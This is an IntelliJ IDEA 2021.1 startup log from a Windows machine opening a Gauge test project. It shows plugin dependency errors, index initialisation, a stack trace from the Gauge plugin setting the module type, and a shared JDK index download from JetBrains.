1115 ms  [   1242]   INFO - penapi.util.io.win32.IdeaWin32 - Native filesystem for Windows is operational  [   1896]   INFO - ntellij.idea.ApplicationLoader - CPU cores: 8; ForkJoinPool.commonPool: java.util.concurrent.ForkJoinPool@446eddaa[Running, parallelism = 7, size = 0, active = 0, running = 0, steals = 0, tasks = 0, submissions = 0]; factory: com.intellij.concurrency.IdeaForkJoinWorkerThreadFactory@3c774fdc  [   1920]   WARN - llij.ide.plugins.PluginManager - Problems found loading plugins:   The Java EE: Gradle Integration (id=com.intellij.javaee.gradle, path=C:\IntelliJ IDEA 2020.2.4\plugins\gradle-javaee) plugin Requires plugin 'com.intellij.gradle' to be enabled   The Performance Testing (Gradle) (id=com.jetbrains.performancePlugin.gradle, path=C:\IntelliJ IDEA 2020.2.4\plugins\performanceTesting-gradle) plugin Plugin 'Performance Testing (Gradle)' cannot be loaded because it depends on plugin 'org.jetbrains.plugins.gradle' which failed to load   The Gradle-Java (id=org.jetbrains.plugins.gradle, path=C:\IntelliJ IDEA 2020.2.4\plugins\gradle-java) plugin Requires plugin 'com.intellij.gradle' to be enabled   The Gradle Dependency Updater Implementation (id=org.jetbrains.plugins.gradle.dependency.updater, path=C:\IntelliJ IDEA 2020.2.4\plugins\gradle-dependencyUpdater) plugin Requires plugin 'com.intellij.gradle' to be enabled   The Gradle-Maven (id=org.jetbrains.plugins.gradle.maven, path=C:\IntelliJ IDEA 2020.2.4\plugins\gradle-java-maven) plugin Plugin 'Gradle-Maven' cannot be loaded because it depends on plugin 'org.jetbrains.plugins.gradle' which failed to load   The SSH Remote Run (id=org.jetbrains.plugins.remote-run, path=C:\IntelliJ IDEA 2020.2.4\plugins\remote-run) plugin Requires plugin 'com.jetbrains.plugins.webDeployment' to be enabled   The WSL Support Framework (id=org.jetbrains.plugins.wsl, path=C:\IntelliJ IDEA 2020.2.4\plugins\WSL) plugin Plugin 'WSL Support Framework' cannot be loaded because it depends on plugin 'org.jetbrains.plugins.remote-run' which failed to load  [   1972]   INFO - llij.ide.plugins.PluginManager - Loaded bundled plugins: IDEA CORE (211.7442.40), Dependency Management Api for External Build Tools (211.7442.40), com.intellij.platform.images (211.7442.40), [...........](211.7442.40), Cucumber for Groovy (211.7442.40), Markdown (211.7442.40), OpenAPI Specifications (211.7442.40), Grazie (211.7442.40)  [   1972]   INFO - llij.ide.plugins.PluginManager - Loaded custom plugins: Gauge (211.6693.111), Kotlin (211-1.5.10-release-891-IJ7142.45)  [   1972]   INFO - llij.ide.plugins.PluginManager - Disabled plugins: Tomcat and TomEE (211.7442.40), CoffeeScript (211.7442.40), Gradle Extension (211.7442.40), Smali Support (211.7442.40), JavaScript Debugger (211.7442.40), TSLint (211.7442.40), WebSphere (211.7442.40), Node.js (211.7442.40), WildFly (211.7442.40), FTP/SFTP Connectivity (ex. Remote Hosts Access) (211.7442.40), JavaScript and TypeScript (211.7442.40), Ant (211.7442.40), Thymeleaf (211.7442.40), Java EE: Server Faces (JSF) (211.7442.40), WebLogic (211.7442.40), Grails (211.7442.40), JavaScript Intention Power Pack (211.7442.40), Android (<IP_ADDRESS>.211.7442.40), GlassFish (211.7442.40), Spy-js (211.7442.40), Docker (211.7442.40), Angular and AngularJS (211.7442.40), Gradle (211.7442.40)  [   2084]   INFO - cloudConfig.CloudConfigManager - === Exit: JBA_NOT_FOUND ===  [   2621]   INFO - m.intellij.util.io.StorageLock - lower=100; upper=500; buffer=10; max=1917  [   2637]   INFO - tellij.util.io.FileChannelUtil - uninterruptible FileChannels will be used for indexes  [   2725]   INFO - tellij.util.io.storage.Storage - Space waste in C:\Users\MYUSER\AppData\Local\JetBrains\IntelliJIdea2021.1\caches\attrib.dat is 15937145 bytes. Compacting now.  [   2727]   INFO - tellij.util.io.storage.Storage - Compact failed: C:\Users\MYUSER\AppData\Local\JetBrains\IntelliJIdea2021.1\caches\attrib.dat.storageData.backup  [   2727]   INFO - tellij.util.io.storage.Storage - Done compacting in 2msec.  [   2801]   INFO - ication.options.PathMacrosImpl - Loaded path macros: {MAVEN_REPOSITORY=C:\Users\MYUSER\.m2\artifactory, KOTLIN_BUNDLED=C:\Users\MYUSER\AppData\Roaming\JetBrains\IntelliJIdea2021.1\plugins\Kotlin\kotlinc}  [   2899]   INFO - intellij.diagnostic.JitWatcher - JIT compilation state checking enabled  [   2923]   INFO - lij.diagnostic.DebugLogManager - Set TRACE for the following categories: #com.jetbrains.rdserver.requests, #com.jetbrains.rd.ide.document, #com.jetbrains.rdserver.document, #com.jetbrains.rdserver.editors, #com.jetbrains.rdserver.actions  [   3035]   INFO - til.net.ssl.CertificateManager - Default SSL context initialized  [   3035]   INFO - rains.ide.BuiltInServerManager - built-in server started, port 63342  [   3323]   INFO - BridgeProjectLifecycleListener - Using workspace model to open project  [   3854]   INFO - pl.local.NativeFileWatcherImpl - Starting file watcher: C:\IntelliJ IDEA 2020.2.4\bin\fsnotifier64.exe  [   3950]   INFO - pl.local.NativeFileWatcherImpl - Native file watcher is operational.  [   4112]   INFO - pl.projectlevelman.NewMappings - VCS Root: [Git] - [<Project>]  [   4144]   INFO - tests.impl.DistributedTestHost - Host address=localhost/<IP_ADDRESS>  [   4240]   INFO - lij.diagnostic.DebugLogManager - Set TRACE for the following categories: #com.jetbrains.rdserver.requests, #com.jetbrains.rd.ide.document, #com.jetbrains.rdserver.document, #com.jetbrains.rdserver.editors, #com.jetbrains.rdserver.actions  [   4264]   INFO - penapi.application.Experiments - Experimental features enabled for user: wsl.p9.support, wsl.prefer.p9.support, wsl.p9.show.roots.in.file.chooser, wsl.execute.with.wsl.exe, inline.browse.button, linux.native.menu, recent.and.edited.files.together, show.create.new.element.in.popup, search.everywhere.mixed.results, i18n.match.actions, editor.reader.mode, run.targets, edit.run.configurations.while.dumb, new.large.text.file.viewer, terminal.shell.command.handling, property.value.inplace.editing  [   4377]   INFO - rojectCodeStyleSettingsManager - Initialized from default code style settings.  [   4393]   INFO - eStyle.CustomCodeStyleSettings - Loaded com.intellij.psi.codeStyle.JavaCodeStyleSettings  [   4593]   INFO - el.ide.impl.WorkspaceModelImpl - Load workspace model from cache in 409 ms  [   4697]   INFO - ins.rd.platform.codeWithMe.a.v - sessionStatus: null  [   4809]   INFO - ins.rd.platform.codeWithMe.a.v - freeSessionRemainingTimeMs: null null  [   5097]   INFO - impl.SharedIndexMainZipStorage - Shared Indexes Storage is opened: 89 chunk(s), 620.1 MB, chunks: [jdk-fdda8d6c44b2c3ff3cd20a584ca1a39ef8daa13e53737e23a678cf1ee2bb2360-3fec3c81d449]  [   5370]   INFO - al.NewToolbarRootPaneExtension - ToolbarSettingsService is ExperimentalToolbarSettings  [   5370]   INFO - al.NewToolbarRootPaneExtension - Show new toolbar: false, presentation mode: false  [   5370]   INFO - al.NewToolbarRootPaneExtension - Show old main toolbar: true, old navbar visible: true  [   5493]   INFO - al.NewToolbarRootPaneExtension - ToolbarSettingsService is ExperimentalToolbarSettings  [   5493]   INFO - al.NewToolbarRootPaneExtension - Show new toolbar: false, presentation mode: false  [   5493]   INFO - al.NewToolbarRootPaneExtension - Show old main toolbar: true, old navbar visible: true  [   5793]   INFO - ughtworks.gauge.util.GaugeUtil - GaugeSettingsModel{gaugePath='C:\Program Files\Gauge\bin\gauge.exe', homePath='C:\Program Files\Gauge', useIntelliJTestRunner=true}  [   5801]   INFO - ughtworks.gauge.util.GaugeUtil - Using Gauge plugin settings to get Gauge executable path.  [   6144]  DEBUG - BackendServerFileEditorManager - Opening host editor for C:/Users/MYUSER/workspace/gauge-tests/README.md  [   6806]  DEBUG - BackendServerFileEditorManager - Opening host editor for C:/Users/MYUSER/workspace/gauge-tests/specs/project_initialization.spec  [   6838]   INFO - leBasedIndexDataInitialization - Index data initialization done: 3755 ms. Initialized indexes: [FilenameIndex, filetypes, IdIndex, TodoIndex, FrameworkDetectionIndex, DomFileIndex, Trigram.Index, fileIncludes, RelaxSymbolIndex, XmlTagNames, XmlNamespaces, html5.custom.attributes.index, SchemaTypeInheritance, json.file.root.values, HtmlTagIdIndex, HashFragmentIndex, XsltSymbolIndex, CompassFunctionsIndex, xmlProperties, editorconfig.index.name, yaml.keys.name, bytecodeAnalysis, java.auto.module.name, java.source.module.name, java.null.method.argument, java.fun.expression, java.binary.plus.expression, LombokConfigIndex, com.intellij.uiDesigner.FormClassIndex, VtlFileIndex, sql.types.count.index, sql.routine.index, groovy.trait.fields, groovy.trait.methods, IdeaPluginRegistrationIndex, PluginIdModuleIndex, PluginIdDependenciesIndex, devkit.ExtensionPointIndex, devkit.ExtensionPointClassIndex, aj.declarations, taglibUris, drools.declareStatementFileIndex, css.template.selectors, CssIndex, FileBasedWSIndex, spring.spiFileIndex, GaugeFileStubIndex, FtlFileIndex, org.jetbrains.kotlin.idea.versions.KotlinJvmMetadataVersionIndex, SpringXmlBeansIndex, org.jetbrains.kotlin.idea.versions.KotlinJsMetadataVersionIndex, org.jetbrains.kotlin.idea.vfilefinder.KotlinClassFileIndex, org.jetbrains.kotlin.idea.vfilefinder.KotlinJavaScriptMetaFileIndex, org.jetbrains.kotlin.idea.vfilefinder.KotlinMetadataFileIndex, org.jetbrains.kotlin.idea.vfilefinder.KotlinMetadataFilePackageIndex, org.jetbrains.kotlin.idea.vfilefinder.KotlinModuleMappingIndex, org.jetbrains.kotlin.idea.vfilefinder.KotlinPackageSourcesMemberNamesIndex, org.jetbrains.kotlin.idea.vfilefinder.KotlinJvmModuleAnnotationsIndex, org.jetbrains.kotlin.idea.vfilefinder.KotlinBuiltInsMetadataIndex, org.jetbrains.kotlin.idea.vfilefinder.KotlinStdlibIndex, org.jetbrains.kotlin.idea.vfilefinder.KlibMetaFileIndex, JavaFxControllerClassIndex, javafx.id.name, javafx.custom.component, javafx.stylesheets.name, http.request.execution.environment, http.request.completion.host, http.request.headers.values.index, spring.autoConfigureMetadataIndex, java.cucumber.java8.step, groovy.cucumber.step, OpenapiSpecificationContentIndexer, Stubs].  [   6989]  DEBUG - BackendServerFileEditorManager - Opening host editor for C:/Users/MYUSER/workspace/gauge-tests/specs/advanced_topics/rerun/rerun_last.spec  [   7077]   INFO - exImpl$StubIndexInitialization - Index data initialization done: 238 ms. Initialized stub indexes: {gr.class.fqn, org.jetbrains.kotlin.idea.stubindex.KotlinExtensionsInObjectsByReceiverTypeIndex, gr.class.super, org.jetbrains.kotlin.idea.stubindex.KotlinFileFacadeShortNameIndex,[.........] org.jetbrains.kotlin.idea.stubindex.KotlinFileFacadeClassByPackageIndex}.  [   7501]   INFO -              PerformancePlugin - Performance Plugin is in silent mode  [   7707]   INFO - gs.impl.UpdateCheckerComponent - channel: release  [   8256]   INFO - erver.followMe.FollowMeManager - Register new user 0:'MYUSER' with ClientId=ClientId(value=Host)  [   8404]   INFO - ion.DelayedProjectSynchronizer - Workspace model loaded from cache. Syncing real project state into workspace model in 630 ms. Thread[ApplicationImpl pooled thread 11,4,Idea Thread Group]  [   8536]   INFO - indexing.UnindexedFilesUpdater - Started  [   8574]   INFO - indexing.UnindexedFilesUpdater - Scanning: use 7 scanning threads  [   8754]   INFO -  #git4idea.commands.GitHandler - [.] git version  [   8791]   INFO - al.NewToolbarRootPaneExtension - ToolbarSettingsService is ExperimentalToolbarSettings  [   8791]   INFO - al.NewToolbarRootPaneExtension - Show new toolbar: false, presentation mode: false  [   8791]   INFO - al.NewToolbarRootPaneExtension - Show old main toolbar: true, old navbar visible: true  [   8881]   INFO - ge.ExternalProjectsDataStorage - Load external projects data in 25 millis (read time: 4)  [   8904]   INFO - pl.projectlevelman.NewMappings - Mapped Roots: 1  [   8931]   INFO - oudConfig.StatusBarInfoManager - === StatusBar ignored ===  [   8931]   INFO -  #git4idea.commands.GitHandler - git version 2.29.2.windows.3  [   9005]   INFO - ea.config.GitExecutableManager - Git version for C:\Git\cmd\git.exe: <IP_ADDRESS> (MSYS)  [   9244]   INFO - llij.database.util.SqlDialects - SQL dialects initialized in 8 ms  [   9808]   INFO - ramework.util.RdCoroutineScope - RdCoroutineHost overridden  [  10604]   INFO - ProjectRootPostStartUpActivity - C:/Users/MYUSER/workspace/gauge-tests/.idea case-sensitivity: expected=false actual=false  [  10630]   INFO - j.ide.script.IdeStartupScripts - 0 startup script(s) found  [  10810]   INFO - .diagnostic.PerformanceWatcher - Post-startup activities under progress took 3075ms; general responsiveness: ok; EDT responsiveness: 0/3 sluggish, 1/3 very slow  [  10880]   INFO - tor.impl.FileEditorManagerImpl - Project opening took 7626 ms  [  11160]   INFO - pl.ProjectRootManagerComponent - some project roots were removed (trace_hash = 208258574)  java.lang.Throwable 	at com.intellij.openapi.roots.impl.ProjectRootManagerComponent.logRootChanges(ProjectRootManagerComponent.java:309) 	at com.intellij.openapi.roots.impl.ProjectRootManagerComponent.synchronizeRoots(ProjectRootManagerComponent.java:292) 	at com.intellij.openapi.roots.impl.ProjectRootManagerComponent.fireRootsChangedEvent(ProjectRootManagerComponent.java:201) 	at com.intellij.openapi.roots.impl.ProjectRootManagerImpl.fireRootsChanged(ProjectRootManagerImpl.java:459) 	at com.intellij.openapi.roots.impl.ProjectRootManagerImpl$1.fireRootsChanged(ProjectRootManagerImpl.java:146) 	at com.intellij.openapi.roots.impl.ProjectRootManagerImpl$1.fireRootsChanged(ProjectRootManagerImpl.java:143) 	at com.intellij.openapi.roots.impl.ProjectRootManagerImpl$BatchSession.rootsChanged(ProjectRootManagerImpl.java:113) 	at com.intellij.workspaceModel.ide.impl.legacyBridge.project.ProjectRootsChangeListener.changed(ProjectRootsChangeListener.kt:34) 	at com.intellij.workspaceModel.ide.impl.legacyBridge.module.ModuleManagerComponentBridge$2.changed(ModuleManagerComponentBridge.kt:181) 	at com.intellij.workspaceModel.ide.WorkspaceModelTopics$EventsDispatcher.changed(WorkspaceModelTopics.kt:112) 	at com.intellij.util.messages.impl.MessageBusImpl.invokeMethod(MessageBusImpl.java:674) 	at com.intellij.util.messages.impl.MessageBusImpl.invokeListener(MessageBusImpl.java:649) 	at com.intellij.util.messages.impl.MessageBusImpl.deliverMessage(MessageBusImpl.java:422) 	at com.intellij.util.messages.impl.MessageBusImpl.pumpWaitingBuses(MessageBusImpl.java:397) 	at com.intellij.util.messages.impl.MessageBusImpl.pumpMessages(MessageBusImpl.java:379) 	at com.intellij.util.messages.impl.MessageBusImpl.access$100(MessageBusImpl.java:33) 	at com.intellij.util.messages.impl.MessageBusImpl$MessagePublisher.invoke(MessageBusImpl.java:185) 	at com.sun.proxy.$Proxy106.changed(Unknown Source) 	at com.intellij.workspaceModel.ide.impl.WorkspaceModelImpl.onChanged(WorkspaceModelImpl.kt:126) 	at com.intellij.workspaceModel.ide.impl.WorkspaceModelImpl.access$onChanged(WorkspaceModelImpl.kt:21) 	at com.intellij.workspaceModel.ide.impl.WorkspaceModelImpl$updateProjectModel$2.invoke(WorkspaceModelImpl.kt:89) 	at com.intellij.workspaceModel.ide.impl.WorkspaceModelImpl$updateProjectModel$2.invoke(WorkspaceModelImpl.kt:21) 	at com.intellij.workspaceModel.storage.impl.VersionedEntityStorageImpl.replace(VersionedEntityStorageImpl.kt:171) 	at com.intellij.workspaceModel.ide.impl.WorkspaceModelImpl.updateProjectModel(WorkspaceModelImpl.kt:89) 	at com.intellij.workspaceModel.ide.impl.legacyBridge.module.ModuleBridgeImpl$setOption$2.run(ModuleBridgeImpl.kt:124) 	at com.intellij.openapi.application.WriteAction.lambda$runAndWait$2(WriteAction.java:134) 	at com.intellij.openapi.application.impl.ApplicationImpl.runWriteActionWithClass(ApplicationImpl.java:947) 	at com.intellij.openapi.application.impl.ApplicationImpl.runWriteAction(ApplicationImpl.java:973) 	at com.intellij.openapi.application.WriteAction.computeAndWait(WriteAction.java:149) 	at com.intellij.openapi.application.WriteAction.runAndWait(WriteAction.java:133) 	at com.intellij.workspaceModel.ide.impl.legacyBridge.module.ModuleBridgeImpl.setOption(ModuleBridgeImpl.kt:123) 	at com.intellij.openapi.module.Module.setModuleType(Module.java:173) 	at com.thoughtworks.gauge.GaugeModuleListener.makeGaugeModuleType(GaugeModuleListener.java:48) 	at com.thoughtworks.gauge.module.lib.AbstractLibHelper.<init>(AbstractLibHelper.java:35) 	at com.thoughtworks.gauge.module.lib.GaugeLibHelper.<init>(GaugeLibHelper.java:52) 	at com.thoughtworks.gauge.module.lib.LibHelperFactory.helperFor(LibHelperFactory.java:40) 	at com.thoughtworks.gauge.GaugeBootstrapService$2.compute(GaugeBootstrapService.java:92) 	at com.thoughtworks.gauge.GaugeBootstrapService$2.compute(GaugeBootstrapService.java:89) 	at com.intellij.openapi.command.WriteCommandAction.lambda$runWriteCommandAction$5(WriteCommandAction.java:351) 	at com.intellij.openapi.command.WriteCommandAction$BuilderImpl.lambda$compute$3(WriteCommandAction.java:159) 	at com.intellij.openapi.command.WriteCommandAction$BuilderImpl.lambda$doRunWriteCommandAction$1(WriteCommandAction.java:143) 	at com.intellij.openapi.application.impl.ApplicationImpl.runWriteAction(ApplicationImpl.java:959) 	at com.intellij.openapi.command.WriteCommandAction$BuilderImpl.lambda$doRunWriteCommandAction$2(WriteCommandAction.java:141) 	at com.intellij.openapi.command.impl.CoreCommandProcessor.executeCommand(CoreCommandProcessor.java:216) 	at com.intellij.openapi.command.impl.CoreCommandProcessor.executeCommand(CoreCommandProcessor.java:182) 	at com.intellij.openapi.command.WriteCommandAction$BuilderImpl.doRunWriteCommandAction(WriteCommandAction.java:150) 	at com.intellij.openapi.command.WriteCommandAction$BuilderImpl.lambda$run$0(WriteCommandAction.java:122) 	at com.intellij.openapi.application.TransactionGuardImpl.runWithWritingAllowed(TransactionGuardImpl.java:218) 	at com.intellij.openapi.application.TransactionGuardImpl.access$200(TransactionGuardImpl.java:21) 	at com.intellij.openapi.application.TransactionGuardImpl$2.run(TransactionGuardImpl.java:200) 	at com.intellij.openapi.application.impl.ApplicationImpl.runIntendedWriteActionOnCurrentThread(ApplicationImpl.java:781) 	at com.intellij.openapi.application.impl.ApplicationImpl.lambda$invokeAndWait$7(ApplicationImpl.java:428) 	at com.intellij.openapi.application.impl.LaterInvocator$1.run(LaterInvocator.java:134) 	at com.intellij.openapi.application.impl.FlushQueue.doRun(FlushQueue.java:84) 	at com.intellij.openapi.application.impl.FlushQueue.runNextEvent(FlushQueue.java:133) 	at com.intellij.openapi.application.impl.FlushQueue.flushNow(FlushQueue.java:46) 	at com.intellij.openapi.application.impl.FlushQueue$FlushNow.run(FlushQueue.java:189) 	at java.desktop/java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:313) 	at java.desktop/java.awt.EventQueue.dispatchEventImpl(EventQueue.java:776) 	at java.desktop/java.awt.EventQueue$4.run(EventQueue.java:727) 	at java.desktop/java.awt.EventQueue$4.run(EventQueue.java:721) 	at java.base/java.security.AccessController.doPrivileged(Native Method) 	at java.base/java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:85) 	at java.desktop/java.awt.EventQueue.dispatchEvent(EventQueue.java:746) 	at com.intellij.ide.IdeEventQueue.defaultDispatchEvent(IdeEventQueue.java:969) 	at com.intellij.ide.IdeEventQueue._dispatchEvent(IdeEventQueue.java:839) 	at com.intellij.ide.IdeEventQueue.lambda$dispatchEvent$8(IdeEventQueue.java:449) 	at com.intellij.openapi.progress.impl.CoreProgressManager.computePrioritized(CoreProgressManager.java:808) 	at com.intellij.ide.IdeEventQueue.lambda$dispatchEvent$9(IdeEventQueue.java:448) 	at com.intellij.openapi.application.impl.ApplicationImpl.runIntendedWriteActionOnCurrentThread(ApplicationImpl.java:781) 	at com.intellij.ide.IdeEventQueue.dispatchEvent(IdeEventQueue.java:496) 	at java.desktop/java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:203) 	at java.desktop/java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:124) 	at java.desktop/java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:113) 	at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:109) 	at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:101) 	at java.desktop/java.awt.EventDispatchThread.run(EventDispatchThread.java:90) [  11162]   INFO - ughtworks.gauge.util.GaugeUtil - GaugeSettingsModel{gaugePath='C:\Program Files\Gauge\bin\gauge.exe', homePath='C:\Program Files\Gauge', useIntelliJTestRunner=true}  [  11162]   INFO - ughtworks.gauge.util.GaugeUtil - Using Gauge plugin settings to get Gauge executable path.  [  11168]   INFO - ks.gauge.GaugeBootstrapService - Setting gauge_custom_classpathtoC:\jdk-<IP_ADDRESS>+1!\java.base;C:\jdk-<IP_ADDRESS>+1!\java.compiler;C:\jdk-<IP_ADDRESS>+1!\java.datatransfer;C:\jdk-<IP_ADDRESS>+1!\java.desktop;C:\jdk-<IP_ADDRESS>+1!\java.instrument;C:\jdk-<IP_ADDRESS>+1!\java.logging;C:\jdk-<IP_ADDRESS>+1!\java.management;C:\jdk-<IP_ADDRESS>+1!\java.management.rmi;C:\jdk-<IP_ADDRESS>+1!\java.naming;C:\jdk-<IP_ADDRESS>+1!\java.net.http;C:\jdk-<IP_ADDRESS>+1!\java.prefs;C:\jdk-<IP_ADDRESS>+1!\java.rmi;C:\jdk-<IP_ADDRESS>+1!\java.scripting;C:\jdk-<IP_ADDRESS>+1!\java.se;C:\jdk-<IP_ADDRESS>+1!\java.security.jgss;C:\jdk-<IP_ADDRESS>+1!\java.security.sasl;C:\jdk-<IP_ADDRESS>+1!\java.smartcardio;C:\jdk-<IP_ADDRESS>+1!\java.sql;C:\jdk-<IP_ADDRESS>+1!\java.sql.rowset;C:\jdk-<IP_ADDRESS>+1!\java.transaction.xa;C:\jdk-<IP_ADDRESS>+1!\java.xml;C:\jdk-<IP_ADDRESS>+1!\java.xml.crypto;C:\jdk-<IP_ADDRESS>+1!\jdk.accessibility;C:\jdk-<IP_ADDRESS>+1!\jdk.aot;C:\jdk-<IP_ADDRESS>+1!\jdk.attach;C:\jdk-<IP_ADDRESS>+1!\jdk.charsets;C:\jdk-<IP_ADDRESS>+1!\jdk.compiler;C:\jdk-<IP_ADDRESS>+1!\jdk.crypto.cryptoki;C:\jdk-<IP_ADDRESS>+1!\jdk.crypto.ec;C:\jdk-<IP_ADDRESS>+1!\jdk.crypto.mscapi;C:\jdk-<IP_ADDRESS>+1!\jdk.dynalink;C:\jdk-<IP_ADDRESS>+1!\jdk.editpad;C:\jdk-<IP_ADDRESS>+1!\jdk.hotspot.agent;C:\jdk-<IP_ADDRESS>+1!\jdk.httpserver;C:\jdk-<IP_ADDRESS>+1!\jdk.internal.ed;C:\jdk-<IP_ADDRESS>+1!\jdk.internal.jvmstat;C:\jdk-<IP_ADDRESS>+1!\jdk.internal.le;C:\jdk-<IP_ADDRESS>+1!\jdk.internal.opt;C:\jdk-<IP_ADDRESS>+1!\jdk.internal.vm.ci;C:\jdk-<IP_ADDRESS>+1!\jdk.internal.vm.compiler;C:\jdk-<IP_ADDRESS>+1!\jdk.internal.vm.compiler.management;C:\jdk-<IP_ADDRESS>+1!\jdk.jartool;C:\jdk-<IP_ADDRESS>+1!\jdk.javadoc;C:\jdk-<IP_ADDRESS>+1!\jdk.jcmd;C:\jdk-<IP_ADDRESS>+1!\jdk.jconsole;C:\jdk-<IP_ADDRESS>+1!\jdk.jdeps;C:\jdk-<IP_ADDRESS>+1!\jdk.jdi;C:\jdk-<IP_ADDRESS>+1!\jdk.jdwp.agent;C:\jdk-<IP_ADDRESS>+1!\jdk.jfr;C:\jdk-<IP_ADDRESS>+1!\jdk.jlink;C:\jdk-<IP_ADDRESS>+1!\jdk.jshell;C:\jdk-<IP_ADDRESS>+1!\jdk.jsobject;C:\jdk-<IP_ADDRESS>+1!\jdk.jstatd;C:\jdk-<IP_ADDRESS>+1!\jdk.localedata;C:\jdk-<IP_ADDRESS>+1!\jdk.management;C:\jdk-<IP_ADDRESS>+1!\jdk.management.agent;C:\jdk-<IP_ADDRESS>+1!\jdk.management.jfr;C:\jdk-<IP_ADDRESS>+1!\jdk.naming.dns;C:\jdk-<IP_ADDRESS>+1!\jdk.naming.ldap;C:\jdk-<IP_ADDRESS>+1!\jdk.naming.rmi;C:\jdk-<IP_ADDRESS>+1!\jdk.net;C:\jdk-<IP_ADDRESS>+1!\jdk.pack;C:\jdk-<IP_ADDRESS>+1!\jdk.rmic;C:\jdk-<IP_ADDRESS>+1!\jdk.scripting.nashorn;C:\jdk-<IP_ADDRESS>+1!\jdk.scripting.nashorn.shell;C:\jdk-<IP_ADDRESS>+1!\jdk.sctp;C:\jdk-<IP_ADDRESS>+1!\jdk.security.auth;C:\jdk-<IP_ADDRESS>+1!\jdk.security.jgss;C:\jdk-<IP_ADDRESS>+1!\jdk.unsupported;C:\jdk-<IP_ADDRESS>+1!\jdk.unsupported.desktop;C:\jdk-<IP_ADDRESS>+1!\jdk.xml.dom;C:\jdk-<IP_ADDRESS>+1!\jdk.zipfs;C:\Users\MYUSER\workspace\gauge-tests\out\test\gauge-tests;C:\Users\MYUSER\workspace\gauge-tests\out\production\gauge-tests;C:\Program Files\Gauge\plugins\java\0.7.13\libs\gson-2.8.6.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\jsr305-3.0.2.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\json-20200518.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\guava-29.0-jre.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\grpc-api-1.33.0.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\commons-io-2.8.0.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\commons-lang-2.6.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\grpc-core-1.33.0.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\grpc-stub-1.33.0.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\annotations-2.0.1.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\gauge-java-0.7.13.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\reflections-0.9.9.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\annotations-<IP_ADDRESS>.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\assertj-core-3.17.2.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\checker-qual-2.11.1.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\failureaccess-1.0.1.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\grpc-context-1.33.0.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\javassist-3.18.2-GA.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\perfmark-api-0.19.0.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\grpc-protobuf-1.33.0.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\protobuf-java-3.13.0.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\j2objc-annotations-1.3.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\javaparser-core-3.16.2.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\grpc-netty-shaded-1.33.0.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\grpc-protobuf-lite-1.33.0.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\javax.annotation-api-1.3.2.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\error_prone_annotations-2.3.4.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\animal-sniffer-annotations-1.18.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\proto-google-common-protos-1.17.0.jar;C:\Program Files\Gauge\plugins\java\0.7.13\libs\listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.jar [  11168]   INFO - ks.gauge.GaugeBootstrapService - Using52989as api port to connect to gauge API for project C:\Users\MYUSER\workspace\gauge-tests  [  11202]   INFO - ks.gauge.GaugeBootstrapService - Initializing Gauge connection at 52989  [  11595]   INFO - redIndexChunkConfigurationImpl - Chunk mvn-c8c0e16b5efebde20c243b6213a6bd8809f7ed40f65b6d442d49ddd5d9571b33-3fec3c81d449 is registered for project 'gauge-tests: matching: (fb=67, stub=73), incompatible: (fb=0, stub=0), unknown: (fb=18, stub=9),   [  11949]   INFO - red.download.SharedIndexLookup - Selected pre-built shared index SharedIndexResult(request='JdkIndexRequest(sdkName=11, hash=f5dfca1a78b6cb67c22dc28388b78e854b0fab83, aliases=[11.0.9, 11], kind=jdk)', url='https://index-cdn.jetbrains.com/v2/data/jdk/e2efa0e2db705d0c776a357acffde85e4f49d806/11.0.11-corretto-11.0.11-windows-3f1a3304104d47c630a8178bf817af4c99a55230bc34fc5aa68a91edbd2eeeb3.ijx.xz', weakHash=f8a305a77ad7, weakBaseVersionHash=3404703181c5, sha256='3f1a3304104d47c630a8178bf817af4c99a55230bc34fc5aa68a91edbd2eeeb3') from https://index-cdn.jetbrains.com/v2/jdk/-11 for JdkIndexRequest(sdkName=11, hash=f5dfca1a78b6cb67c22dc28388b78e854b0fab83, aliases=[11.0.9, 11], kind=jdk)  [  11977]   INFO - oad.SharedIndexDownloadService - Fetching shared index: SharedIndexResult(request='JdkIndexRequest(sdkName=11, hash=f5dfca1a78b6cb67c22dc28388b78e854b0fab83, aliases=[11.0.9, 11], kind=jdk)', url='https://index-cdn.jetbrains.com/v2/data/jdk/e2efa0e2db705d0c776a357acffde85e4f49d806/11.0.11-corretto-11.0.11-windows-3f1a3304104d47c630a8178bf817af4c99a55230bc34fc5aa68a91edbd2eeeb3.ijx.xz', weakHash=f8a305a77ad7, weakBaseVersionHash=3404703181c5, sha256='3f1a3304104d47c630a8178bf817af4c99a55230bc34fc5aa68a91edbd2eeeb3') 